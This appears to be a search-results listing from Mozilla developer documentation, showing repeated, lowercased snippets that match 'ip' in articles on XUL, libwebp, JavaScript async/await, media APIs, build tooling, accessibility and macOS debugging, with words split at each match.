ipten_keepalive int version() { return webpgetencoderversion(); } this is a good simple program to test whether you can get the source code of libwebp to compile, as it doesn't require any parameters or complex data structures to invoke this function. to compile this program, you need to tell the c...
...er you can get the source code of libwebp to compile, as it doesn't require any parameters or complex data structures to invoke this function. to compile this program, you need to tell the compiler where it can find libwebp's header files using the -i flag and also pass it all the c files of libwebp that it needs. ...
...And 9 more matches
Porting the Library Detector - Archive of obsolete content
this example walks through the process of porting a xul-based add-on to the sdk. it's a very simple add-on and a good candidate for porting because there are suitable sdk apis for all its features. the add-on is paul bakaus's library detector. the library detector tells you which javascr
ipt frameworks the current web page is using. it does this by checking whether particular objects that those libraries add to the global window object are defined. for example, if window.jquery is defined, then the page has loaded jquery. for each library that it finds, the library detector adds an icon representing that library to the status bar. it adds a toolt
ip to each icon, which contains the library name and version. you can browse and run the ported version in the sdk's examples directory. how ...
... for each library that it finds, the library detector adds an icon representing that library to the status bar. it adds a toolt
ip to each icon, which contains the library name and version. you can browse and run the ported version in the sdk's examples directory. how the library detector works all the work is done inside a single file, librarydetector.xul this contains: a xul overlay a scr
ipt the xul overlay adds a box element to the browser's status bar: the scr
ipt does everything else. the bulk of the scr
ipt is an array of test objects, one for each library. each test object contains a function called test(): if the function finds the library, it defines various additional properties for the test object, such as a version property containing the library version. each test also ...
...when this is triggered, the testlibraries() function builds an array of libraries by iterating through the tests and adding an entry for each library which passes. ...
...And 8 more matches
Using XML Data Islands in Mozilla - Archive of obsolete content
ture that allows web authors include xml data inline in html documents using the <xml> tag. this feature is not based on multi-vendor web standards and is not supported in firefox (or other non-ie browsers). xml data islands are no longer supported from internet explorer 10 onwards. html5 has a more general feature called "data blocks" that can carry almost any textual data, including xml. ...
...ude xml data inline in html documents using the <xml> tag. this feature is not based on multi-vendor web standards and is not supported in firefox (or other non-ie browsers). xml data islands are no longer supported from internet explorer 10 onwards. html5 has a more general feature called "data blocks" that can carry almost any textual data, including xml. ...
... is not supported in firefox (or other non-ie browsers). xml data islands are no longer supported from internet explorer 10 onwards. html5 has a more general feature called "data blocks" that can carry almost any textual data, including xml. javascr
ipt can use the content of a <scr
ipt> element as a data block if the src attribute is omitted and the type attribute does not specify an executable scr
ipt type. ...
...And 8 more matches
jspage - Archive of obsolete content
"; }else{if(a.item){return"collection";}}}}return typeof a;}function $unlink(c){var b;switch($type(c)){case"object":b={};for(var e in c){b[e]=$unlink(c[e]); }break;case"hash":b=new hash(c);break;case"array":b=[];for(var d=0,a=c.length;d<a;d++){b[d]=$unlink(c[d]);}break;default:return c;}return b;}var browser=$merge({engine:{name:"unknown",version:0},platform:{name:(window.orientation!=undefined)?"
ipod":(navigator.platform.match(/mac|win|linux/i)||["other"])[0].tolowercase()},features:{xpath:!!(document.evaluate),air:!!(window.runtime),query:!!(document.queryselector)},plugins:{},engines:{presto:function(){return(!window.opera)?false:((arguments.callee.caller)?960:((document.getelementsbyclassname)?950:925)); },trident:function(){return(!window.activexobject)?false:((window.xmlhttprequest)?((...
...break;}}return{name:b,version:a};};browser.detect();browser.request=function(){return $try(function(){return new xmlhttprequest();},function(){return new activexobject("msxml2.xmlhttp"); },function(){return new activexobject("microsoft.xmlhttp");});};browser.features.xhr=!!(browser.request());browser.plugins.flash=(function(){var a=($try(function(){return navigator.plugins["shockwave flash"].descr
iption; },function(){return new activexobject("shockwaveflash.shockwaveflash").getvariable("$version");})||"0 r0").match(/\d+/g);return{version:parseint(a[0]||0+"."+a[1],10)||0,build:parseint(a[2],10)||0}; })();function $exec(b){if(!b){return b;}if(window.execscr
ipt){window.execscr
ipt(b);}else{var a=document.createelement("scr
ipt");a.setattribute("type","text/javascr
ipt"); a[(browser.engine.webkit&&...
...eturn a.touppercase();});},escaperegexp:function(){return this.replace(/([-.*+?^${}()|[\]\/\\])/g,"\\$1"); },toint:function(a){return parseint(this,a||10);},tofloat:function(){return parsefloat(this);},hextorgb:function(b){var a=this.match(/^#?(\w{1,2})(\w{1,2})(\w{1,2})$/); return(a)?a.slice(1).hextorgb(b):null;},rgbtohex:function(b){var a=this.match(/\d{1,3}/g);return(a)?a.rgbtohex(b):null;},str
ipscr
ipts:function(b){var a=""; var c=this.replace(/<scr
ipt[^>]*>([\s\s]*?)<\/scr
ipt>/gi,function(){a+=arguments[1]+"\n";return"";});if(b===true){$exec(a);}else{if($type(b)=="function"){b(a,c); }}return c;},substitute:function(a,b){return this.replace(b||(/\\?{([^{}]+)}/g),function(d,c){if(d.charat(0)=="\\"){return d.slice(1);}return(a[c]!=undefined)?a[c]:""; });}});hash.implement({has:object.protot...
...And 8 more matches
Elements - Archive of obsolete content
extends cdata #implied display cdata #implied inheritstyle true #implied > the binding element describes a single xbl binding. a xbl binding can add anonymous content, fields, properties, methods, and event handlers to html/xml elements. a single xbl binding can be attached to an element by using style sheets or by scr
ipting. (see bug 83830 for <table> specifics). css: div { -moz-binding: url(mybinding.xml#default); } dom: elementreference.style.mozbinding = "url(mybinding.xml#default)"; in both cases above we are using binding with id="default" contained in file mybinding.xml starting with firefox 3, you can also use a data: url to embed the binding inline: div { -moz-binding: url(data:text/xml;char...
... the chrome. for clarity's sake, here's what the embedded xml in the previous example looks like: <?xml version="1.0"?> <bindings id="xbltestbindings" xmlns="http://www.mozilla.org/xbl"> <binding id="xbltest"><content>pass</content></binding> </bindings> only css declarations provide an easy way to attach bindings to any set of elements. it also makes your binding partially functional if scr
ipting is disabled. in the latter case all methods and handlers will be blocked, but the anonymous content and styling will be still used. given that the css declarations should be always used - unless you need to add bindings at runtime to individual elements. a binding element may contain a resources tag, a content tag, a implementation tag and a handlers tag. id - the id attribute is a docume...
... you can have an element have the layout and display characteristics of an existing element. for example, use the value 'xul:button' to create an element that is displayed like a button. the part before the colon is a namespace prefix so you must declare the xul namespace as well. not all tags have a unique display type. the following xul display types may be used: browser, button, checkbox, descr
iption, editor, gr
ippy, iframe, image, label, menu, menuitem, menubar, progressmeter, radio, resizer, scrollbar, scrollbox, spacer, splitter, titlebar, treechildren and treecol. you may also use a number of html, mathml and svg tags. the 'display' attribute does not work unless the extends attribute is set, see bug bug 119389. in that case, put the value of the display attribute into the extends att...
...And 8 more matches
Adding Event Handlers - Archive of obsolete content
<< previousnext >> the find files dialog so far looks quite good. we haven't cleaned it up much but we have created a simple user interface easily. next, we will show how to add scr
ipts to it. using scr
ipts to make the find files dialog functional, we need to add some scr
ipts which will execute when the user interacts with the dialog. we would want to add a scr
ipt to handle the find button, the cancel button and to handle each menu command. we write this using javascr
ipt functions much in the same way as html. you can use the scr
ipt element to include scr
ipts in xul files. ...
...pts to make the find files dialog functional, we need to add some scr
ipts which will execute when the user interacts with the dialog. we would want to add a scr
ipt to handle the find button, the cancel button and to handle each menu command. we write this using javascr
ipt functions much in the same way as html. you can use the scr
ipt element to include scr
ipts in xul files. you can embed the scr
ipt code directly in the xul file in between the opening and closing scr
ipt tags but it is much better to include code in a separate file as the xul window will load slightly faster. the src attribute is used to link in an external scr
ipt file. our find files example let's add a scr
ipt to the find file dialog. ...
...we'll define some functions in the file and we can call them in event handlers. ...
...And 8 more matches
prefpane - Archive of obsolete content
the former is specified using a preferences element while the latter may be specified using other xul elements. both may be specified directly as children of the prefpane element, or the src attribute may be used to put a pane in a separate file. ...
...mpty or left out, no image appears. the position of the image is determined by the dir and orient attributes. label type: string the label that will appear on the element. if this is left out, no text appears. for an editable menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. onpaneload type: scr
ipt code code defined here is called when the pane has been loaded, much like the load event for a window. selected type: boolean this attribute will be set to true for the currently selected prefpane. to change the selected pane, use the prefwindow's showpane method. src type: uri the uri of the overlay contents of preference pane. if this i...
..., removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata events paneload this event is fired on the pane element when the pane is fully loaded (e.g. after the overlay is merged.) you can put the handler for this event in the onpaneload attribute on the element. ...
...And 8 more matches
VBArray.getItem - Archive of obsolete content
titem method returns the item at the specified location. syntax safearray.getitem(dimension1[, dimension2, ...], dimensionn) parameters safearray a vbarray object. dimension1, ..., dimensionn specifies the exact location of the desired element of the vbarray. n equals the number of dimensions in the vbarray. example the following example consists of three parts. ...
...ray.getitem(dimension1[, dimension2, ...], dimensionn) parameters safearray a vbarray object. dimension1, ..., dimensionn specifies the exact location of the desired element of the vbarray. n equals the number of dimensions in the vbarray. example the following example consists of three parts. the first part is vbscr
ipt code to create a visual basic safe array. ...
...barray. n equals the number of dimensions in the vbarray. example the following example consists of three parts. the first part is vbscr
ipt code to create a visual basic safe array. the second part is javascr
ipt code that iterates the visual basic safe array and prints out the contents of each element. both of these parts go into the <head> section of an html page. the third part is the javascr
ipt code that goes in the <body> section to run the other two parts. ...
...And 8 more matches
VBArray.ubound - Archive of obsolete content
safearray.ubound(dimension) parameters safearray a vbarray object. dimension optional the dimension of the vbarray for which the higher bound index is wanted. if omitted, ubound behaves as if a 1 was passed. remarks if the vbarray is empty, the ubound method returns undefined. ...
...ion of the vbarray for which the higher bound index is wanted. if omitted, ubound behaves as if a 1 was passed. remarks if the vbarray is empty, the ubound method returns undefined. if dim is greater than the number of dimensions in the vbarray, or is negative, the method generates a "subscr
ipt out of range" error. example the following example consists of three parts. the first part is vbscr
ipt code to create a visual basic safe array. ...
...d, ubound behaves as if a 1 was passed. remarks if the vbarray is empty, the ubound method returns undefined. if dim is greater than the number of dimensions in the vbarray, or is negative, the method generates a "subscr
ipt out of range" error. example the following example consists of three parts. the first part is vbscr
ipt code to create a visual basic safe array. the second part is javascr
ipt code that determines the number of dimensions in the safe array and the upper bound of each dimension. both of these parts go into the <head> section of an html page. ...
...And 8 more matches
RDF in Mozilla FAQ - Archive of obsolete content
general where do i start? rdf serves two primary purposes in mozilla. first, it is a simple, cross-platform database for small data stores. second, and more importantly, the rdf model is used along with xul templates as an abstract "api" for displaying information. rdf in fifty words or less is a quick, high-level descr
iption of what rdf does in mozilla. the rdf back-end architecture document describes in more detail how mozilla's rdf implementation works, and gives a quick overview of the interfaces that are involved. where do i find information on open directory ("dmoz")? unfortunately, not here! well, here's a little... start at http://www.dmoz.org/ for more information on the open directory. the open directory dataset is available as a (huge) rdf/xml dump. it describes thousa...
...e("http://www.mozilla.org/some-rdf-file.rdf"); // now see if it's loaded or not... var remote = ds.queryinterface(components.interfaces.nsirdfremotedatasource); if (remote.loaded) { alert("the datasource was already loaded!"); } else { alert("the datasource wasn't loaded, but it's loading now!"); } say the datasource wasn't loaded, and is loading asynchronously. using this api and javascr
ipt's settimeout(), one could set up a polling loop that would continually check the loaded property. this is kludgy, and even worse, won't detect a failed load, for example, if there wasn't any data at the url! for this reason, there is an observer interface that allows you to spy on a datasource's progress. the following code illustrates its usage: // this is the object that will observe the rdf...
... // attach the observer to the datasource-as-sink sink.addxmlsinkobserver(observer); // now observer's methods will be called-back as // the load progresses. } note that the observer will remain attached to the rdf/xml datasource unless removexmlsinkobserver is called. how do i access the information in a datasource? the nsirdfdatasource interface is the means by which you access and man
ipulate the assertions in a datasource. boolean hasassertion(asource, aproperty, atarget, atruthvalue). this tests the datasource to see if it has the specified tuple. nsirdfnode gettarget(asource, aproperty, atruthvalue). nsisimpleenumerator gettargets(asource, aproperty, atruthvalue). nsirdfresource getsource(aproperty, atarget, atruthvalue). nsisimpleenumerator getsources(aproperty, atar...
...And 8 more matches
XUL Parser in Python - Archive of obsolete content
warning: the content of this article may be out of date. this article is from 2000. v.00001 to celebrate activestate's recent announcement about support for perl and python in mozilla, i have put together this little python scr
ipt that parses your local xul and builds a list of all the xul elements and their attributes in an html page. with new widgets and attributes landing all the time, i wanted to get some quicker way of looking at the xul--at particular builds, at particular widgets, at which elements had which attributes, etc. the scr
ipt writes out all the attributes and none of the values, but the parser itself is seeing the elements, their attributes, and the values of those attributes, and you just have to ask for them if you want them. for example, you could easily ada...
...er itself is seeing the elements, their attributes, and the values of those attributes, and you just have to ask for them if you want them. for example, you could easily adapt this to: return the id values of all the elements take elements on the command line and only spell them out build new chrome subdirectories (i.e. new "packages") on the fly using search and replace. as i adapt the scr
ipt in these ways and try to further generalize the actual code as i get time, i will make it available here. in the explanation section below, i try to say a little something about how this scr
ipt works. it's really just a wrapper around python's xmllib xml parser, but i had to sort of fool around with it. python's support for xml (and potential with xul) is extensive, and so it's more a matter of ...
...it also, i'm afraid, only works on the win32 platform, where the <tt>dir</tt> command it depends on gets you your xul files. again, you can easily use <tt>ls</tt> instead, as i should have done, and pick up some extra support. ...
...And 8 more matches
Building up a basic demo with A-Frame - Game development
the webxr and webgl apis already enable us to start creating virtual reality (vr) experiences inside web browsers, but the community is still waiting for tools and libraries to appear, to make this easier. mozilla's a-frame framework provides a markup language allowing us to build 3d vr landscapes using a system familiar to web developers, which follows game development coding princ
iples; this is useful for quickly and successfully building prototypes and demos, without having to write a lot of javascr
ipt or glsl. this article explains how to get up and running with a-frame, and how to use it to build up a simple demo. high level overview the current version of a-frame is 0.3.2, which means it's highly experimental, but it already works and you can test it right away in the browser. it ru...
..., mobile (ios and android), and oculus rift, gear vr and htc vive. a-frame is built on top of webgl, and provides pre built components to use in applications -- models, video players, skyboxes, geometries, controls, animations, cursors, etc. it is based on the entity component system, which is known in the game development world, but it targets web developers with a familiar markup structure, man
ipulable with javascr
ipt. the end result is 3d web experiences, which are vr-enabled by default. environment setup let's start by setting up an environment to create something with a-frame. we'll then build up a demo and run it. you should start off by: making sure you are using a modern browser with good webgl support (and webxr support if you have available vr or ar hardware) such as the late...
...start off by: making sure you are using a modern browser with good webgl support (and webxr support if you have available vr or ar hardware) such as the latest firefox or chrome -- download firefox nightly or chrome (v54 or higher). (optional) set up a vr device such as oculus rift or google cardboard. create a new directory to store your project in. save a copy of the latest a-frame javascr
ipt library file inside your directory (check the github repository for latest stable a dev builds). open the a-frame documentation in a separate tab -- it is useful to refer to. html structure the first step is to create an html document -- inside your project directory, create a new index.html file, and save the follow html inside it: <!doctype html> <html> <head> <meta charset="utf-8"> <...
...And 8 more matches
Mobile touch controls - Game development
elopment process -- in the modern world, this generally also involves implementing touch controls. in this tutorial, we will see how easy it is to implement mobile controls in an html5 game, and enjoy playing on a mobile touch-enabled device. ...
... enjoy playing on a mobile touch-enabled device. note: the game captain rogers: battle at andromeda is built with phaser and managing the controls is phaser-based, but it could also be done in pure javascr
ipt. the good thing about using phaser is that it offers helper variables and functions for easier and faster development, but it's entirely up to you which approach you to choose. ...
...the events are as follows: touchstart is fired when the user puts a finger on the screen. touchmove is fired when they move the finger on the screen while touching it touchend is fired when the user stops touching the screen touchcancel is fired when a touch is cancelled, for example when the user moves their fing...
...And 8 more matches
Unconventional controls - Game development
ur web game, some more unconventional than others. tv remote playing games on a tv screen doesn't always have to be done through consoles. there's already a gamepad api working on the desktop computers, so we can imitate the experience, but we can go even further. modern smart tvs can handle html5 games, because they have a built-in browser that can be used as a gaming platform. smart tvs are sh
ipped with remote controls, which can be used to control your games if you know how. the earliest demo of captain rogers: battle at andromeda was adjusted to work on a huge tv. interestingly enough, the first captain rogers game (asteroid belt of sirius) was optimized for low-end, small-screen, cheap smartphones running firefox os, so you can see the difference three years can make -- you can read ...
...y printing the responses out in the console: window.addeventlistener("keydown", function(event) { console.log(event.keycode); }, this); every key pressed on the remote will show its key code in the console. you can also check this handy cheat sheet seen below if you're working with panasonic tvs running firefox os: you can add moving between states, starting a new game, controlling the sh
ip and blowing stuff up, pausing and restarting the game. all that is needed is checking for key presses: window.addeventlistener("keydown", function(event) { switch(event.keycode) { case 8: { // pause the game break; } case 588: { // detonate bomb break; } // ... } }, this); you can see it in action by...
...hing this video. leap motion have you ever thought about controlling a game only with your hands? it's possible with leap motion, an immersive controller for games and apps. leapmotion is becoming more and more popular due to very good integration with vr headsets -- demoing rainbow membrane on an oculus rift with leap motion attached to it was voted one of the best webvr experiences by javascr
ipt developers visiting demo booths at conferences around the world. as well as being great for virtual interfaces, it can also be used for a casual 2d gaming experiences. it would be very difficult to do everything with only your hands, but it's totally doable for the simple captain roger's gameplay -- steering the sh
ip and shooting the bullets. there's good hello world and getting started javasc...
...And 8 more matches
Gecko FAQ - Gecko Redirect 1
what is gecko? gecko is the open source browser engine designed to support open internet standards such as html 5, css 3, the w3c dom, xml, javascr
ipt, and others. gecko is used in mult
iple browsers, including mozilla firefox, seamonkey, and others. gecko is continuously under development at mozilla.org. gecko has been known previously by the code names "raptor" and "nglayout"; the new name was chosen following a trademark infringement dispute. for more information see the wik
ipedia article on gecko. what is a layout engine? basically, a layout engine takes content (such as html, xml, image files, applets, and so on) and formatting information (such as cascading style sheets, presentational html tags, etc.) and displays the formatted content on the screen. it paints the browser'...
...ea, which is the blank area inside the browser window's chrome. formally, a layout engine defines the placement policy for a document and places content on a page. gecko's core is a very fast layout engine. gecko also offers the ability to parse various document types (html, xml, svg, etc), advanced rendering capabilities including compositing and transformations, and support for embedded javascr
ipt and plugins. gecko is so fast and so powerful that it's being used to create the user interface of some applications ("chrome") as well. in other words, gecko will not only be displaying the document's content, but it will also be painting the scrollbars, toolbars, and menus on the screen as well. for more information see xul. how is a layout engine like gecko different from a web browser? ge...
...ur implementation extrapolates this provision to apply to entityreferences as well for more information, see the dom in mozilla level 1 html dom 2 - most of it has already been implemented in gecko, including support for dom 2 events, the dom 2 style, and the dom2 core. dom 3 support is also planned for a future release. ...
...And 8 more matches
The web and web standards - Learn web development
story out there, which we'll link to later on (also try searching for "history of the web" in your favorite search engine and see what you get, if you are interested in more detail.) in the late 1960s, the us military developed a communication network called arpanet. this can be considered a forerunner of the web, as it worked on packet switching, and featured the first implementation of the tcp/
ip protocol suite. these two technologies form the basis of the infrastructure that the internet is built on. in 1980, tim berners-lee (often referred to as timbl) wrote a notebook program called enquire, which featured the concept of links between different nodes. sound familiar? fast forward to 1989, and timbl wrote information management: a proposal and hypertext at cern; these two publications...
...ved a fair amount of interest, enough to convince timbl's bosses to allow him to go ahead and create a global hypertext system. by late 1990, timbl had created all the things needed to run the first version of the web -- http, html, the first web browser, which was called worldwideweb, an http server, and some web pages to look at. in the next few years that followed, the web exploded, with mult
iple browsers being released, thousands of web servers being set up, and millions of web pages being created. ok, that's a very simple summary of what happened, but i did promise you a brief summary. one last significant data point to share is that in 1994, timbl founded the world wide web consortium (w3c), an organization that brings together representatives from many different technology companie...
...e summary of what happened, but i did promise you a brief summary. one last significant data point to share is that in 1994, timbl founded the world wide web consortium (w3c), an organization that brings together representatives from many different technology companies to work together on the creation of web technology specifications. after that other technologies followed such as css and javascr
ipt, and the web started to look more like the web we know today. web standards web standards are the technologies we use to build web sites. these standards exist as long technical documents called specifications, which detail exactly how the technology should work. these documents are not very useful for learning how to use the technologies they describe (this is why we have sites like mdn web d...
...And 8 more matches
Define terms with HTML - Learn web development
the clear blue sky of a subtle sadness, melancholy. ...
... the clear blue sky of a subtle sadness, melancholy. ...
...k up keywords when you're defining them. prerequisites: you need to be familiar with how to create a basic html document. objective: learn how to introduce new keywords and how to build descr
iption lists. when you need a term defined, you probably go straight to a dictionary or glossary. dictionaries and glossaries formally associate keywords with one or more descr
iptions, as in this case: blue (adjective) of a color like the sky in a sunny day. the clear blue sky of a subtle sadness, melancholy. ...
...And 8 more matches
Document and website structure - Learn web development
e your document using semantic tags, and how to work out the structure of a simple website. basic sections of a document webpages can and will look pretty different from one another, but they all tend to share similar standard components, unless the page is displaying a fullscreen video or game, is part of some kind of art project, or is just badly structured: header: usually a big str
ip across the top with a big heading, logo, and perhaps a tagline. this usually stays the same from one webpage to another. navigation bar: links to the site's main sections; usually represented by menu buttons, links, or tabs. like the header, this content usually remains consistent from one webpage to another -- having inconsistent navigation on your website will just lead to confused, frustrate...
...n readers can read the two features better if they are separate. main content: a big area in the center that contains most of the unique content of a given webpage, for example, the video you want to watch, or the main story you're reading, or the map you want to view, or the news headlines, etc. ...
...it's a place to put common information (like the header) but usually, that information is not critical or secondary to the website itself. ...
...And 8 more matches
Making asynchronous programming easier with async and await - Learn web development
previous overview: asynchronous next more recent additions to the javascr
ipt language are async functions and the await keyword, part of the so-called ecmascr
ipt 2017 javascr
ipt edition (see ecmascr
ipt next support in mozilla). these features basically act as syntactic sugar on top of promises, making asynchronous code easier to write and to read afterwards. they make async code look more like old-school synchronous code, so they're well worth learning. this article gives you what you need to know. prerequisites: basic computer literacy, a reasonable understanding of javascr
ipt fundamentals, an understanding of async code in general and promises. objective: to understand promises and how to use them. the basics of async/await there are two parts to ...
...ch as hello().then(console.log) like we saw in the last article. so the async keyword is added to functions to tell them to return a promise rather than directly returning the value. in addition, this lets synchronous functions avoid any potential overhead that comes with running with support for using await. by only adding the necessary handling when the function is declared async, the javascr
ipt engine can optimize your program for you. sweet! the await keyword the real advantage of async functions becomes apparent when you combine it with the await keyword -- in fact, await only works inside async functions. this can be put in front of any async promise-based function to pause your code on that line until the promise fulfills, then return the resulting value. in the meantime, other c...
...ide of async functions. inside the myfetch() function definition you can see that the code closely resembles the previous promise version, but there are some differences. instead of needing to chain a .then() block on to the end of each promise-based method, you just need to add an await keyword before the method call, and then assign the result to a variable. the await keyword causes the javascr
ipt runtime to pause your code on this line, allowing other code to execute in the meantime, until the async function call has returned its result. once that's complete, your code continues to execute starting on the next line. for example: let response = await fetch('coffee.jpg'); the response returned by the fulfilled fetch() promise is assigned to the response variable when that response become...
...And 8 more matches
Video and Audio APIs - Learn web development
previous overview: client-side web apis next html5 comes with elements for embedding rich media in documents -- <video> and <audio> -- which in turn come with their own apis for controlling playback, seeking, etc. this article shows you how to do common tasks such as creating custom playback controls. prerequisites: javascr
ipt basics (see first steps, building blocks, javascr
ipt objects), the basics of client-side apis objective: to learn how to use browser apis to control video and audio playback. html5 video and audio the <video> and <audio> elements allow us to embed video and audio into web pages. as we showed in video and audio content, a typical implementation looks like this: <video controls> <source src="rabbit320.mp4" type="video/mp4"> ...
...ve advantages. one big issue with the native browser controls is that they are different in each browser -- not very good for cross-browser support! another big issue is that the native controls in most browsers aren't very keyboard-accessible. you can solve both these problems by hiding the native controls (by removing the controls attribute), and programming your own with html, css, and javascr
ipt. in the next section we'll look at the basic tools we have available to do this. the htmlmediaelement api part of the html5 spec, the htmlmediaelement api provides features to allow you to control video and audio players programmatically -- for example htmlmediaelement.play(), htmlmediaelement.pause(), etc. this interface is available to both <audio> and <video> elements, as the features you'l...
...mediaelement.play(), htmlmediaelement.pause(), etc. this interface is available to both <audio> and <video> elements, as the features you'll want to implement are nearly identical. let's go through an example, adding features as we go. our finished example will look (and function) something like the following: getting started to get started with this example, download our media-player-start.z
ip and unz
ip it into a new directory on your hard drive. if you downloaded our examples repo, you'll find it in javascr
ipt/apis/video-audio/start/ at this point, if you load the html you should see a perfectly normal html5 video player, with the native controls rendered. exploring the html open the html index file. you'll see a number of features; the html is dominated by the video player and its...
...And 8 more matches
Introduction to cross browser testing - Learn web development
objective: to gain an understanding of the high-level concepts involved in cross browser testing. what is cross browser testing? cross browser testing is the practice of making sure that the web sites and web apps you create work across an acceptable number of web browsers. as a web developer, it is your responsibility to make sure that not only do your projects wo...
...sure that not only do your projects work, but they work for all your users, no matter what browser, device, or additional assistive tools they are using. you need to think about: different browsers other than the one or two that you use regularly on your devices, including slightly older browsers that some people might still be using, which don't support all the latest, shiniest css and javascr
ipt features. different devices with different capabilities, from the latest greatest tablets and smartphones, through smart tvs, right down to cheap tablets and even older feature phones that may run browsers with limited capabilities. people with disabilities, who use the web with the aid of assistive technologies like screenreaders, or don't use a mouse (some people use only the keyboard). re...
...owser issues occur? there are many different reasons why cross browser issues occur, and note that here we are talking about issues where things behave different across different browsers / devices / browsing preferences. before you even get to cross browser issues, you should have already fixed out bugs in your code (see debugging html, debugging css, and what went wrong? troubleshooting javascr
ipt from previous topics to refresh your memory if needed). cross browser issues commonly occur because: sometimes browsers have bugs, or implement features differently. this situation is a lot less bad than it used to be; back when ie4 and netscape 4 were competing to be the dominant browser in the 1990s, browser companies deliberately implemented things differently to each other to try to gain...
...And 8 more matches
Client-side tooling overview - Learn web development
overview: understanding client-side tools next in this article we provide an overview of modern web tooling, what kinds of tools are available and where you'll meet them in the lifecycle of web app development, and how to find help with individual tools. prerequisites: familiarity with the core html, css, and javascr
ipt languages. objective: to understand what types of client-side tooling there are, and how to find tools and get help with them. overview of modern tooling writing software for the web has become more sophisticated through the ages. although it is still entirely reasonable to write html, css, and javascr
ipt "by hand" there is now a wealth of tools that developers can use to speed up the process of building a web site, or app. there are...
... be included in a single project. equally, a single configuration file for a tool like webpack can be hundreds of lines long, most of which are magical incantations that seem to do the job but which only a master engineer will fully understand! from time to time, even the most experienced of web developers get stuck on a tooling problem; it is possible to waste hours attempting to get a tooling p
ipeline working before even touching a single line of application code. if you have found yourself struggling in the past, then don't worry -- you are not alone. in these articles, we won't answer every question about web tooling, but we will provide you with a useful starting point of understanding the fundamentals, which you can then build from. as with any complex topic, it is good to start smal...
...ill go beyond that, focusing on developer tools that help you produce web code more efficiently. from a high-level perspective, you can put client-side tools into the following three broad categories of problems to solve: safety net -- tools that are useful during your code development. transformation -- tools that transform code in some way, e.g. turning an intermediate language into javascr
ipt that a browser can understand. post-development -- tools that are useful after you have written your code, such as testing and deployment tools. let's look at each one of these in more detail. safety net these are tools that make the code you write a little better. this part of the tooling should be specific to your own development environment, though it's not uncommon for companies to hav...
...And 8 more matches
Mozilla’s UAAG evaluation report
html, css, and a number of graphic image formats. does not contradict current specifications for html and css rendering. 2.2 provide text view. (p1) c also known as view source. 2.3 render conditional content. (p1) vg alt for img: rendered when images turned off. see meta bug 41924 for open issues with the alt attribute. ...
...ontent of object element: ? alt for area element: ? alt for input element: ? acronym element: supported abbr element: supported abbr attribute for td/th: not supported summary for table: supported title for frame: ? longdesc for frame: not supported, see bug 3658 noframe for frame: must use user style sheets to render this. a ui for this would be good. noscr
ipt for scr
ipt: must use user style sheets to render this. a ui for this would be good. 2.4 allow time-independent interaction. (p1) nr need to look into this 2.5 make captions, transcr
ipts available. (p1) na this relates to multimedia players 2.6 respect synchronization cues. (p1) na this relates to multimedia players 2.7 repair missing content.
...thod -- see the cvs history for suggestions. we consider this to be a very difficult problem. 2.8 no repair text. (p3) p we have no repair strategy in 2.7 we have no way to configure that alt="" still needs to be repaired 2.9 render conditional content automatically. ...
...And 8 more matches
Accessible Toolkit Checklist
some low vision users will be running your software with high contrast or large font themes. go beyond section 508. implement true usability for everyone, and make your toolkit follow the guidelines for each platform. the approaches there are two basic kinds of toolkits, which each provide different challenges when implementing accessibility: native widget toolkits , like ecl
ipse and wxwidgets, already have some accessibility built-in. these toolkits wrap the widgets implemented by the os with a consistent api for each platform. since the individual widgets predominately come from the operating system, they already implement standard keyboard commands and follow the operating system's visual theme. also, assistive technologies already understand native widgets so it is ...
...ds to know what label goes with what widget. msaa support: expose window with role_dialog, unless it's already the standard dialog window class #32770. if you don't, some screen readers won't automatically read the dialog when it receives focus. expose status bars with role_statusbar, unless they already use the standard window class msctls_statusbar32. make sure that parent-child relationsh
ips are exposed correctly in each window's msaa tree general msaa support focus events handling event callbacks, which requires a unique id for each non-windowed child of every widget that can be focused or have any other event associated with it. for example, a unique child id would be required for each tree item supporting the most important basic iacc...
...t support for ms windows settings when high contrast checkbox is set (in accessibility control panel, spi_gethighcontrast), or when user selects a "native" skin option in your software, then get all look and feel from current os skin. ...
...And 8 more matches
Debugging on Mac OS X
n run on earlier macos versions, notarization and hardened runtime settings have no effect. official builds at this time, official builds of firefox 69 and later are notarized. uplifts to firefox 68 and esr 68 to enable notarization are planned. as a result, it is not possible to attach a debugger to these official firefox releases on macos 10.14+ without disabling system integrity protection (s
ip). this is due to notarization requiring hardened runtime to be enabled with the com.apple.security.get-task-allow entitlement disallowed. rather than disabling s
ip (which has security implications), it is recommended to debug with try builds or local builds. the differences are explained below. try server builds in most cases, developers needing to debug a build as close as possible to the prod...
...om production builds in that they are not notarized which should not otherwise affect functionality, (other than the ability to easily launch the browser on macos 10.15+ -- see quarantine note below). at this time, developers can obtain a hardened runtime build with the com.apple.security.get-task-allow entitlement allowed by submitting a try build and downloading the dmg generated by the "rpk" sh
ippable build job. a debugger can be attached to firefox processes of these builds. try builds use the developer.entitlements.xml file from the source tree while production builds use production.entitlements.xml. on macos 10.15+, downloaded try builds will not launch by default because notarization is required. to workaround this problem, remove the quarantine extended attribute from the downloaded ...
...d to automate codesigning local builds to enable hardened runtime by default and eliminate this discrepancy. to obtain a hardened runtime build without using try infrastructure, a developer can manually codesign builds using the macos codesign(1) command with the developer.entitlements.xml file from the tree. this requires creating a codesigning identity. ...
...And 8 more matches
How Mozilla's build system works
rks. note: this document is not intended for developers who just want to build mozilla. for that, see the build documentation. phases when you type mach build to build the tree, three high-level phases occur within the build system: system detection and validation preparation of the build backend invocation of the build backend phase 1: configure phase 1 centers around the configure scr
ipt. the configure scr
ipt is a bash shell scr
ipt. the file is generated from a file called configure.in, which is written in m4 and processed using autoconf 2.13 to create the final configure scr
ipt. you don't have to worry about how you obtain a configure file: the build system does this for you. the primary job of configure is to determine characteristics of the system and compiler, apply options...
...configure also produces some additional files (like autoconf.mk). however, the most important file in terms of architecture is config.status. ...
...ed config.status. configure also produces some additional files (like autoconf.mk). however, the most important file in terms of architecture is config.status. the existence of a config.status file may be familiar to those who have worked with autoconf before. however, mozilla's config.status is different from many other config.status files, as it's written in python! instead of our configure scr
ipt producing a shell scr
ipt, it generates a python scr
ipt. python 2 is prevalent in a mozilla build system. if we need to write code for the build system, we do it in python 2 instead of editing a makefile. config.status contains 2 parts: data structures representing the output of configure and a command-line interface for preparing, configuring, or generating an appropriate build backend. a ...
...And 8 more matches
How to implement a custom autocomplete search component
